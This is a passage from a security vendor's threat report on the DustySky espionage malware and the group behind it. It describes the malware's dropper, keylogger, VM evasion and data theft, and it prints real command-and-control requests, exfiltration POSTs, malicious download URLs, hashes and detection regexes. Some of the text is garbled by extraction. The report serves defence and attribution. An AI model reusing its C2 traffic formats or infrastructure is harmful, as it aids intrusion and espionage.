]ga on 45.32.13.169 7 http://www.nrg.co.il/online/1/ART2/594/733.html 8 https://www.passivetotal.org/passive/45.32.13.169 http://clearskysec.com/ http://www.nrg.co.il/online/1/ART2/594/733.html http://www.nrg.co.il/online/1/ART2/594/733.html https://www.passivetotal.org/passive/45.32.13.169 https://www.passivetotal.org/passive/45.32.13.169 ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 8 of 42 Among the domains is a similar looking one - imazing[.
]ga.
The source code of the fake website reveals that it was copied from the legitimate source on 22 October 2015: The fake website, similarly to the legitimate one, offers visitors to download the iMazing software.
However, the version on the fake website is bundled with DustySky malware.
Upon execution of the malicious version (2f452e90c2f9b914543847ba2b431b9a) the legitimate iMazing is installed, while in the background DustySky is dropped as a file named Plugin.exe (1d9612a869ad929bd4dd16131ddb133a), and executed: Plugin.exe immediately starts communicating with its command and control sever using the hardcoded address ns.suppoit[.
]xyz and supo.mefound[.
]com, both also pointing to above mentioned 45.32.13.169.
Interestingly, we found the fake domain imazing[.
]ga mentioned in a job posting9 in the freelancers marketplace website freelancer.com.
In the posting, the attackers claim they are looking for someone to 9 https://www.cz.freelancer.com/projects/iPhone/Write-some-Software-8755699/ http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 9 of 42 build an application like that this website [sic] and entice the viewer to download application and take an overlook [sic] from imazing[.
]ga and Let me know if any idea is missing or.
This behavior deviates from the attackers usual pattern of sending malicious email to selected (albeit many) individuals.
It is unclear to us why they would go after random infections, but we can imagine various reasons, such as access to computers which would be used as proxies for attacks, or access to licenses for software owned by the victims.
Post infection This section describes the actions performed by the attackers on infected computers we have investigated.
After infecting the computer, the attackers used both the capabilities of DustySky, and those of public hacking tools they had subsequently downloaded to the computer.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 10 of 42 They took screenshots and a list of active processes in the computer, and sent them to their command and control severs.
They used BrowserPasswordDump10, a public and free-to-use tool that recovers passwords saved in browsers.
Below is the log file (empty in this case) that we recovered after the attackers had deleted it: The malware would also scan the computer for files that contain certain keywords.
The list of keywords, in base64 format, is retrieved from the command and control as a text file.
For example: Below are the encoded strings from the above image, decoded and translated: Base64 string Decoded English translation 2YXYrtin2KjYsdin2Ko Telecommunication 2KjYp9iz2KjZiNix2K/Yp9iq Password Y3YuZG9j cv.doc cv.doc 157Xktei15nXnQ Contacts 2LPZitix2Kkg2LDYp9iq2YrYqQ Resume cGFzc3dvcmRz Passwords Passwords 16HXmdeh157XkNeV16o Passwords INeR15nXmNeX15XXnyDXpNeg15nXnQ Homeland security d29ybQ worm worm bXljZXJ0 mycert mycert LnBmeA .pfx .pfx 10 http://securityxploded.com/browser-password-dump.php http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 11 of 42 These words teach us what the attackers are after: personal documents credentials, certificates and private keys information pertaining to homeland security.
Abusing breached email account In one case, the attackers used stolen email credentials and logged in from 96.44.156.201, potentially their proxy or VPN endpoint.
They also logged in from 5.101.140.118 , an IP address that belongs to a proxy service called privatetunnel.com (in previous incidents, emails were sent from a nearby address - 5.101.140.114).
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 12 of 42 Malware analysis DustySky (called NeD by its developer) is a multi-stage malware written in .NET.
This chapter reviews its functionality and main features.
The sample analyzed is f589827c4cf94662544066b80bfda6ab from late August 2015.
It is composed of a DustySky dropper, DustySky core, and the DustySky keylogging component.
DustySky dropper The DustySky dropper tries to evade running in a virtual machine.
Once sure the computer is not a VM, it extracts, runs and adds persistency to DustySky Core.
It extracts basic information about the operating system and checks for the existence of an Antivirus.
It also extracts and opens the lure document.
The droppers resources are two components that are dropped at run time.
One is the lure document (internally called news), which is presented to the victim once the dropper is executed.
The other is DustySky Core, a Trojan backdoor, (internally called log).
The dropper uses the following function to obfuscate the name of functions and other parts of the malware (In later versions, SmartAssembly 6.9.0.114 .NET obfuscator was used): So, for example, the following string: Is encoded as: For VM evasion the dropper checks whether there is a DLL that indicate that the malware is running in a virtual machine (vboxmrxnp.dll and vmbusres.dll which indicate vitualbox and vmGuestlib.dll which indicates vmware).
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 13 of 42 If the dropper is indeed running in a virtual machine, it will open the lure document and stop its activity: The dropper uses Windows Management Instrumentation11 to extract information about the operating system and whether an antivirus is active.
DustySky Core is dropped to TEMP and runs using either cmd or the .NET interface.
11 https://msdn.microsoft.com/en-us/library/aa394582(vvs.85).aspx http://clearskysec.com/ https://msdn.microsoft.com/en-us/library/aa394582(vvs.85).aspx https://msdn.microsoft.com/en-us/library/aa394582(vvs.85).aspx ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 14 of 42 A registry entry is created for persistency after computer restart: DustySky core DustySky Core is a Trojan backdoor and the main component of the malware.
It communicates with the command and control server, exfiltrates collected data, information and files, and receives and executes commands.
It has the following capabilities: Collecting information about the OS version, running processes and installed software.
Searching for removable media and network drives, and duplicating itself into them.
Extracting other components (such as the keylogging component) or receiving them from the command and control server, and running or removing them.
Evading virtual machines.
Turning the computer off or restarting it.
Making sure only a single instance of the malware is running.
The keylogging log file is uploaded to the server every 50 seconds.
The files are uploaded via a POST request to a URL that ends with key.php.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 15 of 42 DustySky keylogging component One of the components contained in DustySky core is a keylogger (for example 15be036680c41f97dfac9201a7c51cfc).
When ordered by the command and control server, the keylogger is extracted and executed.
Keylogging logs are saved to TEMP\temps .
pdb analysis pdb strings in DustySky sample were structured as follows: b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Worm\obj\x86\Release\MusicLogs.pdb pdb strings from 23 samples are presented in Appendix B - Indicators.
In the table below we present a breakdown of folders and file names comprising the pdb strings, to reflect the ongoing development cycle of DustySky since its first release in May 2015.
name filename date version campaign c2 NeD Download and execute Version 1 - Doc News.pdb 2015-07-15 5 meshal NeD Download and execute Version 1 - Doc News.pdb 2015-08-18 501P Fixed Dov NeD Download and execute Version 1 - Doc News.pdb 2015-10-27 704 NSR ND 192.52.167.235 NeD Download and execute Version 1 - Doc News.pdb 2015-11-04 704 SPY 192.52.167.235 NeD Download and execute Version 1 - Doc News.pdb 2015-12-27 9 Rand 192.169.6.199 NeD Download and execute Version 1 - Doc News.pdb 2015-12-27 9 Rand 192.169.6.199 NeD Worm MusicLogs.pdb 2015-10-21 703 Random 192.161.48.59 NeD Worm MusicLogs.pdb 2015-10-27 704 NSR ND 192.52.167.235 NeD Worm MusicLogs.pdb 2015-11-03 704 Stay 107.191.47.42 NeD Worm MusicLogs.pdb 2015-11-04 704 SPY 192.52.167.235 NeD Worm MusicLogs.pdb 2015-11-08 704 mossad Track 192.161.48.59 NeD Worm MusicLogs.pdb 2015-11-12 8SSl GOV 192.161.48.59 NeD Worm MusicLogs.pdb 2015-11-14 8SSl Socks 167.160.36.14 NeD Worm MusicLogs.pdb 2015-11-17 8 PRI 172.245.30.30 NeD Worm MusicLogs.pdb 2015-12-27 9 Rand 192.169.6.199 NeD Worm MusicLogs.pdb 2015-12-29 8 Stay jan 107.191.47.42 NeD Worm Music Synchronization.pdb 2015-08-08 5P USA Europe Random NeD Worm Music Synchronization.pdb 2015-08-08 5P baker NeD Worm Music Synchronization.pdb 2015-08-10 5P Fixed NeD Worm Version 1 (2015-05-15) log file.pdb 2015-05-14 1 NeDKeY ver 1 Internet.pdb 2015-07-04 1 NeDKeY ver 1 Internet.pdb 2015-07-04 1 NeDKeY ver 1 Internet.pdb 2015-07-04 1 http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 16 of 42 Command and control communication Traffic examples Following are samples of communication with the command and control server (identifiers have been altered).
DustySky has two hardcoded domains of command and control servers.
It starts by checking if the first one is alive by sending a GET request to TEST.php or index.php, expecting OK as response.
If it does not receive an OK, it will try a second domain.
For example, this is an Initial GET request to index.php: GET /index.php HTTP/1.1 Host: facetoo.co].
[vu Connection: Keep-Alive Server reply: HTTP/1.1 200 OK Date: Sun, 06 Sep 2015 19:52:49 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 2 Connection: close Content-Type: text/html charsetUTF-8 OK Next, a GET request is sent with information about the infected computer as Base64 parameters: GET /IOS.php?Pn9TbmRvd3KTxpbmRvd3icj4frGRRmFjZUJvb2soSU9TKTxicj4gMjAxNS 0wOC0yNAcomIDxicj4gIDxicj4gID386578203222222738119472812481673914678 oTWljcm9zb2Z0IFdpbmRvd3MgNyBQcm9mZXNzaW9uYWwghoZmFjZXRvby5jby52dQ avv501P HTTP/1.1 User-Agent: 386578203222222738119472812481673914678 Host: facetoo.co].
[vu Another example of a URL in the GET request: http://ra.goaglesmtp.co.vu/NSR.php?PnMWw1bEoxVDJqQiB8IFBTUFVCV1MfrGR REFGQksoTlNSKTxicj4gMjAxNS0xMS0wNAcomIDxicj4gIDxicj4gID133279209241 http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 17 of 42 34561851231757518321517760252DAFBKoTWljcm9zb2Z0IFdpbmRvd3MgNyBIb21lIFB yZW1pdW0ghocmEuZ29hZ2xlc210cC5jby52dQavv704 Parameters Parameter Structure and meaning Pn computer name user name GR hardcoded campaign identifier in the form of token1 (token2) br date for example: wikileaks (Ra) Br2015-06-11 or meshal(Music)Br2015-07-15br com br br Never used.
ID identification number o operating system Ho host av Anti-virus name v DustySky malware version The following regular expression matches the communication patterns: \/[A-Za-z]2,5\.php\?(?:(PnfrGRcomIDohoavv)[A-Za-z0-9\/]0,2?
)5,9 Stolen information sent to command and control as POST requests: POST /RaR.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: 1042541562231131292551331782259622162135190107BK Host: down.supportcom.xyz Content-Length: 109127 Expect: 100-continue keiVBORw0KGgoAAAANSUhEUgAAAyAAAAJYCAYAAACadoJwAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjw v8YQUAAAAJcEh.... ID1042541562231131292551331782259622162135190107BK NScreen-2015-10-06_05-15-34-PM.png HTTP/1.1 100 Continue SSL and digital certificates Recently, command and control communication changed from HTTP to HTTPS.
The digital certificate used in the HTTPS traffic is either self-signed or uses a legitimate Comodo issued certificate.
The domain bulk-smtp[.
]xyz, which is owned by the attackers, uses the following digital certificate: Certificate: Data: Version: 3 (0x2) Serial Number: 35:e5:39:4c:58:e8:4d:f5:fa:9a:3c:25:21:12:01:19 Signature Algorithm: sha256WithRSAEncryption http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 18 of 42 Issuer: CGB, STGreater Manchester, LSalford, OCOMODO CA Limited, CNCOMODO RSA Domain Validation Secure Server CA Validity Not Before: Nov 25 00:00:00 2015 GMT Not After : Nov 24 23:59:59 2016 GMT Subject: OUDomain Control Validated, OUPositiveSSL, CNbulk-smtp.xyz Prior to using the Comodo issued certificate, the attackers used a self-signed certificate, impersonating a Tel- Aviv, Israel based company called EMS.
The organizational unity in the certificate is Email Markting Sales (note the misspelling of marketing).
Certificate: Data: Version: 3 (0x2) Serial Number: 13229300438499639338 (0xb797eaa82fb0c02a) Signature Algorithm: sha256WithRSAEncryption http://clearskysec.com/ http://bulk-smtp.xyz/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 19 of 42 Issuer: CIL, STIsrael - Telaviv, LTel Aviv, OEMS, OUEmail Markting Sales, CNemail-market.ml/emailAddressinfoemail-market.ml Validity Not Before: Nov 17 14:15:08 2015 GMT Not After : Nov 16 14:15:08 2016 GMT Subject: CIL, STIsrael - Telaviv, LTel Aviv, OEMS, OUEmail Markting Sales, CNemail-market.ml/emailAddressinfoemail-market.ml For another domain, smtp.gq, this self-signed certificate was used: Certificate: Data: Version: 1 (0x0) Serial Number: 12074485766838107425 (0xa79130d4e1e53d21) Signature Algorithm: sha1WithRSAEncryption Issuer: CIL, STTel Aviv, LTel Aviv, OBEM, OUBEM co., CNsmtp.gq /emailAddressinfosmtp.gq Validity Not Before: Nov 17 14:48:51 2015 GMT Not After : Dec 17 14:48:51 2015 GMT Subject: CIL, STTel Aviv, LTel Aviv, OBEM, OUBEM co., CNsmtp.gq /emailAddressinfosmtp.gq DustySky communication uses some or all of the following paths when communicating with its command and control server: Update.php conn.php geoiploc.php news.htm pass.php passho.php passyah.php http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 20 of 42 Infrastructure Using PassiveTotals attack analysis platform, we were able to visualize the last 6 months of data for key infrastructure used by the actors.
Its worth noting that all IP addresses have been active in the past several weeks with many of the domains resolving to them being a combination (green squares) of dynamic DNS providers (blue squares) and registered domains (brown squares).
These heatmaps allow us to identify interesting periods or changes in the infrastructure that may have been due to actors adjusting their tactics.
Reader: 192.161.48.59 In this graph, we can see the actors used a combination of dynamic DNS and registered domains up until December 23rd.
On that day, the actors seem to remove the registered domain and strictly use dynamic DNS.
Its unclear why this would occur, but its possible that the server changed functions in the attack or was no longer needed.
192.52.167.235 In this graph, the colors clearly segment activity that occurred.
The primary period of interest appears to be when both dynamic DNS and registered domains are in use.
This occurs from September 23rd to December 17th and has a number of days where new domains are associated to the IP address.
While not entirely known, this period could reflect the actors going live in their operation.
Based on emails sent and compilation dates, there were plenty of phishing campaigns going on during this period of time.
Its also worth noting that this IP address is no longer showing any content which could mean its been taken offline.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 21 of 42 167.160.36.14 In this graph, we see activity starting on September 9th being directed to a dynamic DNS provider.
Similar to Graph One, we can see an increase in domains around the November timeframe with a drop-off in December.
Again, not entirely clear, but November may have been a point where the attackers felt the need to diversify the domains they were using in attacks.
45.32.13.169 In this graph, the gray blocks indicate that no activity was captured for a majority of the time.
Starting November 9th, the actors introduced four unique, registered domains before then adding dynamic DNS providers.
Whats most interesting about this IP address is that the content for both dynamic DNS urls and registered domains lead to the same download page that hosts a Windows executable.
Its unclear why the attackers continue to use both, but the move from registered domains to also using dynamic DNS domains could suggest the actors are beginning to wise up.
The use of dynamic DNS infrastructure makes attribution and tracking more difficult as a dynamic DNS domain could be shared by unrelated parties.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 22 of 42 72.11.148.147 In this graph, we see the same lack of data until recent months and the use of both dynamic DNS and registered domains.
Given the recent activity and a large amount of domains being pointed at this IP address, its plausible that this server may be the most current of the actors.
In fact, it could be involved in on-going operations that we have seen into this year.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 23 of 42 Threat actor and Attribution We attribute the DustySky attacks, with medium-high certainty, to the same group that FireEye12 called Molerats and Kaspersky13 called Gaza cybergang.
Based on the following characteristics14.
Infrastructure overlap Indicator Used by Also used for DustySky with 192.52.167.125 Gaza cybergang f589827c4cf94662544066b80bfda6ab 0756357497c2cd7f41ed6a6d4403b395 84e5bb2e2a27e1dcb1857459f80ac920 192.161.48.59 Was pointed to by update.ciscofreak.com used by Gaza cybergang 18ef043437a8817e94808aee887ade5c 3227cc9462ffdc5fa27ae75a62d6d0d9 fcecf4dc05d57c8ae356ab6cdaac88c2 9c60fadece6ea770e2c1814ac4b3ae74 dnsfor.dnsfor.me Gaza cybergang 7a91d9bcd02b955b363157f9a7853fd1 185.82.202.207 Was pointed to by dnsfor.dnsfor.me used by Gaza cybergang 7f5cb76ca3ba8df4cabceb3c1cd0c11e c8fa23c3787d9e6c9e203e48081a1984 6af77a2f844c3521a40a70f6034c5c4a Gaza Strip origins Only one sample aa288a5cbf4c897ff02238e851875660 was uploaded to VirusTotal, shortly after it was compiled.
Less than a minute and a half elapsed between compilation on August 8th 2015 at 10:31:12 and the first VirusTotal submission at 10:32:24.
This sample was uploaded from Gaza.
The very short time frame between compilation and VirusTotal submission could indicate that the attacker is the one who has submitted the sample in order to learn whether antivirus engines detect it.
12 https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using- poison-ivy.html 13 https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/ 14 All attribution data in the table are taken from https://securelist.com/blog/research/72283/gaza-cybergang-wheres- your-ir-team/.
http://clearskysec.com/ https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/ https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/ https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/ https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 24 of 42 Email messages sent from Gaza Strip Some of the malicious email messages, for example those containing Supermodel Bar Refaeli Stars in Israeli Spy Movie.exe and .exe (Hamas unveiled a documentation of Gilad Shalit in captivity), were sent from 185.12.187.10515 and 31.223.186.7116 respectively.
Both IPs belong to internet provider CITYNET17, based in Gaza Strip.
Similar TTPs The attribution of this activity to the above mentioned group is also based on similarities in attack characteristics: Email subjects.
Content of lure documents.
Style and grammatical errors.
Impersonation of senders from government organizations, security forces and media outlets.
Impersonating legitimate software.
Target characteristics and overlap (i.e.
organizations that where targeted by Molerats are similarly targeted with DustySky) Individuals Recent samples had Last Saved By properties of the document point to a specific individual who we believe is one of the attackers.
In his Social media accounts this individual defines himself as a Software Engineer who lives in Gaza.
Public interactions on his YouTube page (such as videos he liked) are related to hacking tools and methods.
We have decided not to disclose this individuals name in the public report.
15 https://whois.domaintools.com/185.12.187.105 16 http://whois.domaintools.com/31.223.186.71 17 CITYNET City Net Informatics, Internet and Communication Technologies and General Trade Ltd. (PS) http://clearskysec.com/ https://whois.domaintools.com/185.12.187.105 https://whois.domaintools.com/185.12.187.105 http://whois.domaintools.com/31.223.186.71 http://whois.domaintools.com/31.223.186.71 ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 25 of 42 Appendix A - Malicious email messages and lures Below we present email and lure documents that were used in the campaign.
Saudi Arabia boosts security on Yemen border Greek coastguard appears to sink refugee boat.exe http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 26 of 42 US delegation heading to Israel to discuss Iran terror funding eea2e86f06400f29a2eb0c40b5fc89a6 Supermodel Bar Refaeli Stars in Israeli Spy Movie.exe http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 27 of 42 ISIS leader raped the American captive The Truth About Your Sexual Peak , Dont worry Estimate position - the Gaza bombings.exe http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 28 of 42 exe.
(
the reasons for lifting A-Sisis diplomatic immunity and the possibility of his arrest in London) Google-Privacy.doc http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 29 of 42 Invoice details.doc f94dfd49142bdae4a525997e4c0b944c (Highlights of matters attributed by Egypt to the leaks from the Saudi foreign service) http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 30 of 42 (Translation: the real culprit behind the plane crash in Sinai, according to Russia) )18reveals Israels nuclear secrets (The USA 18 The title includes a syntax error omission of the accusative preposition .
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 31 of 42 - How to Defend Against Stabbing.exe Spy vs. Spy: Inside the Fraying U.S.-Israel Ties.exe http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 32 of 42 exe.
(
The police is checking suspected delivery of secret documents to civilians by people close to Barak or Galant) 154b2f008d80bf954394cf9ccbcccfda 8752f07a83b6830049dd5e6744bb444c (Title: Before the eyes of their four children: Two parents assassinated in a shooting terror attack in Samaria) http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 33 of 42 exe.
(
A list of terror organizations and Palestinian Militias) exe.
FBi (A former FBI agent: Ben Laden is still alive) http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 34 of 42 Appendix B - Indicators type indicator comments url support.markting- fac.tk/20151027/Update.php?idredactedtoken1VGVzdCtzbXRwKzgxNzgtoken2redactedC Click url spynews.otzo.com/20151104/Update.php?idredactedtoken1U3B5KzE3MzYtoken2redacted CClick url info.intarspace.co.vu/u/dsfihkfisgbdfsdfbsdkfs.php?idredactedt oken13DVXNhZW0rMTUwtoken2redactedC3DClic k url https://copy.com/s8w9tqqzVDaXIkcR/ .rar?download1 url http://support.markting-fac.tk/20151027/Update.php url http://singin.loginto.me/050915/redacted.php?idredactedtoken1bW9yaWFiKzk0Ng3D3D token2redactedCClick url http://sales-spy.ml/sales/details.zip url http://news.net-freaks.com/upex/Wor url http://news.net-freaks.com/De.php?idtasrebtoken1redactedtoken2redactedCClick url http://mailweb.otzo.com/HZ.php?PnUEMgfCBBZG1pbmlzdHJhdG9yfrGRTm92ZW1iZXIoSFopPGJ yPiAyMDE1LTExLTAzcomIDxicj4gIDxicj4gID54951921481121311311307520612119912657784HZ oTWljcm9zb2Z0IFdpbmRvd3MgWFAgUHJvZmVzc2lvbmFshobWFpbHdlYi5vdHpvLmNvbQav v704 url http://info.intarspace.co.vu/u/dsfihkfisgbdfsdfbsdkfs.php?id3DUsaem150token13DVXNhZW0rM TUwtoken23DZG92ZXIucGFkYW1AZ21haWwuY29tIA3D3DC3DClic k url http://ed3qy5yioryitoturysuiu.otzo.com/U/HeA-N-P url http://dnsfor.dnsfor.me/Attachments.rar url http://dfwsd.co.vu/open.php?idopenexetoken1b3BlbmV4ZQtoken2b3BlbmV4ZQCopenexe url http://cnaci8gyolttkgmguzog.ignorelist.com/B.php?PnUExBQ0VIT0wtNkY2OTlBIHwgQWRtaW5pc3Ry YXRvciAgfCAgSUQtUmFuZAID188507120521521921574709117922314512724517oTWljcm9zb 2Z0IFdpbmRvd3MgWFAgUHJvZmVzc2lvbmFsavHhttp://cnaci8gyolttkgmguzog.ignorelist.com url http://0arfx4grailorhvlicbj.servehumour.com/u/procexp url hr.goaglesmtp.co.vu/NSRDaf/Update.php?idredactedtoken1REFGKzcxNjUtoken2redacted CClick url drive.google.com/uc?exportdownloadid0ByjYVMTYJB0sazgwM3AwZ2h3T2s url copy.com/sr2T0SYaebYLGjNQ/Hot-Story.rar?download1 url copy.com/s8w9tqqzVDaXIkcR/ .rar?download1 url copy.com/NPe29ONMhE7qWMpv/Report.rar?download1 url copy.com/jYwMk6zWZzdUCuBr/Hot-Report26Photos.rar?download1 url copy.com/fC2na4YLrpbYDj6G/Secret_Report.rar?download1 url copy.com/bQPNqJRMjZpnKf4R/Attachments.rar?download1 url spynews.otzo.com/20151104/Details.zip url http://news20158.co.vu/index.php url http://directexe.com/788/Attachments.rar url http://dfwsd.co.vu/open.php previous campaign url https://copy.com/Tc6THzxjOL3zd1bL/Video.zip?download1 previous campaign sha1 f91948f456bf5510bdbb3a9245a5905324f7bbba sha1 945a90159bae5b128e3170cb9096ea7b233fce43 sender test0workyandex.com http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 35 of 42 sender sky0newsgmail.com sender Israeli Hot Stories infobulk-smtp.xyz sender innsniabgmail.com sender IDF Spokespersons Unit hendsawigmail.com sender ibnkhaldon9gmail.com sender IAI Media infonews.bulk-smtp.xyz sender Latest Israel news newssmtp.gq sender doron.eiliatgmail.com sender bulkmossad.gov.ilsupport-sales.tk Regular expression \/[A-Za-z]2,5\.php\?(?:(PnfrGRcomIDohoavv)[A-Za-z0-9\/]0,2?
)5,9 DustySky traffic Regular expression \/[A-Za-z]\.php\?((?:idtoken1token2C)[A-Za-z0-9\/]0,2?
)4 DustySky delivery pdb i:\World\sfx\2015-08-10 NeD ver 5P Fixed\NeD Worm\obj\x86\Debug\Music Synchronization.pdb pdb i:\World\sfx\2015-08-08 NeD ver 5P USA Europe Random\NeD Worm\obj\x86\Debug\Music Synchronization.pdb pdb i:\World\sfx\2015-08-08 NeD ver 5P baker\NeD Worm\obj\x86\Debug\Music Synchronization.pdb pdb H:\SSD\C\Wor -1 - 2015-05-14\NeD Worm Version 1 (2015-05-15)\obj\x86\Debug\log file.pdb pdb g:\World\sfx\2015-07-15 NeD ver 5 - meshal\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdb g:\World\sfx\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Debug\Internet.pdb pdb b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Worm\obj\x86\Release\MusicLogs.pdb pdb b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Download and execute Version 1 - Doc\obj\x86\Release\News.pdb pdb b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Download and execute Version 1 - Doc\obj\x86\Release\News.pdb pdb b:\World-2015\IL\Working Tools\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Release\Internet.pdb pdb b:\World\IL\Working Tools\2015-11-17 NeD Ver 8 PRI - 172.245.30.30\NeD Worm\obj\x86\Release\MusicLogs.pdb pdb b:\World\IL\Working Tools\2015-11-12 NeD Ver 8SSl GOV - 192.161.48.59\NeD Worm\obj\x86\Release\MusicLogs.pdb pdb b:\World\IL\Working Tools\2015-11-08 NeD Ver 704 mossad Track - 192.161.48.59 - save strem\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdb b:\World\IL\Working Tools\2015-11-04 NeD Ver 704 SPY ND - 192.52.167.235\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdb b:\World\IL\Working Tools\2015-11-04 NeD Ver 704 SPY ND - 192.52.167.235\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdb b:\World\IL\Working Tools\2015-11-03 NeD Ver 704 Stay - 107.191.47.42\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdb b:\World\IL\Working Tools\2015-10-27 NeD Ver 704 NSR ND - 192.52.167.235\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdb b:\World\IL\Working Tools\2015-10-27 NeD Ver 704 NSR ND - 192.52.167.235\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdb b:\World\IL\Working Tools\2015-10-21 NeD Ver 703 Random Face - 192.161.48.59 - save strem\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdb C:\Users\-\Desktop\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdb b:\World\IL\Working Tools\2015-11-14 NeD Ver 8SSl Socks - 167.160.36.14 - https\NeD Worm\obj\x86\Release\MusicLogs.pdb pdb b:\World-2015\IL\Working Tools\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Release\Internet.pdb pdb E:\AANewIst2015\Downloader\2015-08-18 NeD ver 501P Fixed - Dov\2015-08-18 NeD ver 501P Fixed - Dov\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb http://clearskysec.com/ mailto:hendsawigmail.com ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 36 of 42 pdb b:\World-2015\IL\Working Tools\2015-12-29 NeD Ver 8 Stay jan 107.191.47.42\NeD Worm\obj\x86\Release\MusicLogs.pdb Mutex NewFolder.exe Mutex New.exe Mutex Clean.exe Mutex 9F6F0AC4-89A1-45fd-A8CF-72F04E6BDE8F md5 fcecf4dc05d57c8ae356ab6cdaac88c2 md5 f6e8e1b239b66632fd77ac5edef7598d previous campaign md5 f589827c4cf94662544066b80bfda6ab md5 eea2e86f06400f29a2eb0c40b5fc89a6 md5 e9586b510a531fe53fec667c5c72d87b md5 e69bd8ab3d90feb4e3109791932e5b5e md5 e55bbc9ef77d2f3723c57ab9b6cfaa99 md5 e3f3fe28f04847f68d6bec2f45333fa7 md5 ddb6093c21410c236b3658d77362de25 md5 dd9dcf27e01d354dbae75c1042a691ef md5 d23b206a20199f5a016292500d48d3d2 md5 c75c58b9e164cc84526debfa01c7e4b9 md5 bf5d9726203e9ca58efb52e4a4990328 md5 bee2f490ec2cd30edaea0cb1712f4ed4 md5 bbd0136a96fec93fc173a830fd9f0fc0 md5 baff12450544ac476e5e7a3cbdeb98b5 md5 bab02ab7b7aa23efcab02e4576311246 md5 b1071ab4c3ef255c6ec95628744cfd3d md5 aa541499a7dbbcb9cd522ccde69f59e6 md5 aa288a5cbf4c897ff02238e851875660 md5 aa1f329a8cfdaf79c3961126a0d356fe md5 a79c170410658eac31449b5dba7cc086 md5 a6aa53ce8dd5ffd7606ec7e943af41eb md5 9c60fadece6ea770e2c1814ac4b3ae74 md5 99ffe19cb57d538e6d2c20c2732e068c md5 96d2e0b16f42c0fd42189fd871b02b5e md5 96bf59cc724333ddbcf526be132b2526 md5 8cdb90b4e6c87a406093be9993102a46 md5 8bb2d2d1a6410c1b5b495befc6ae0945 md5 89125df531db67331a26c5064ab0be44 md5 8579d81c49fa88da8002163f6ada43e1 md5 84e5bb2e2a27e1dcb1857459f80ac920 md5 84687e72feade5f50135e5fc0e1696e3 md5 7f5cb76ca3ba8df4cabceb3c1cd0c11e md5 7a91d9bcd02b955b363157f9a7853fd1 md5 79d701e58c55062faf968490ad4865b0 http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
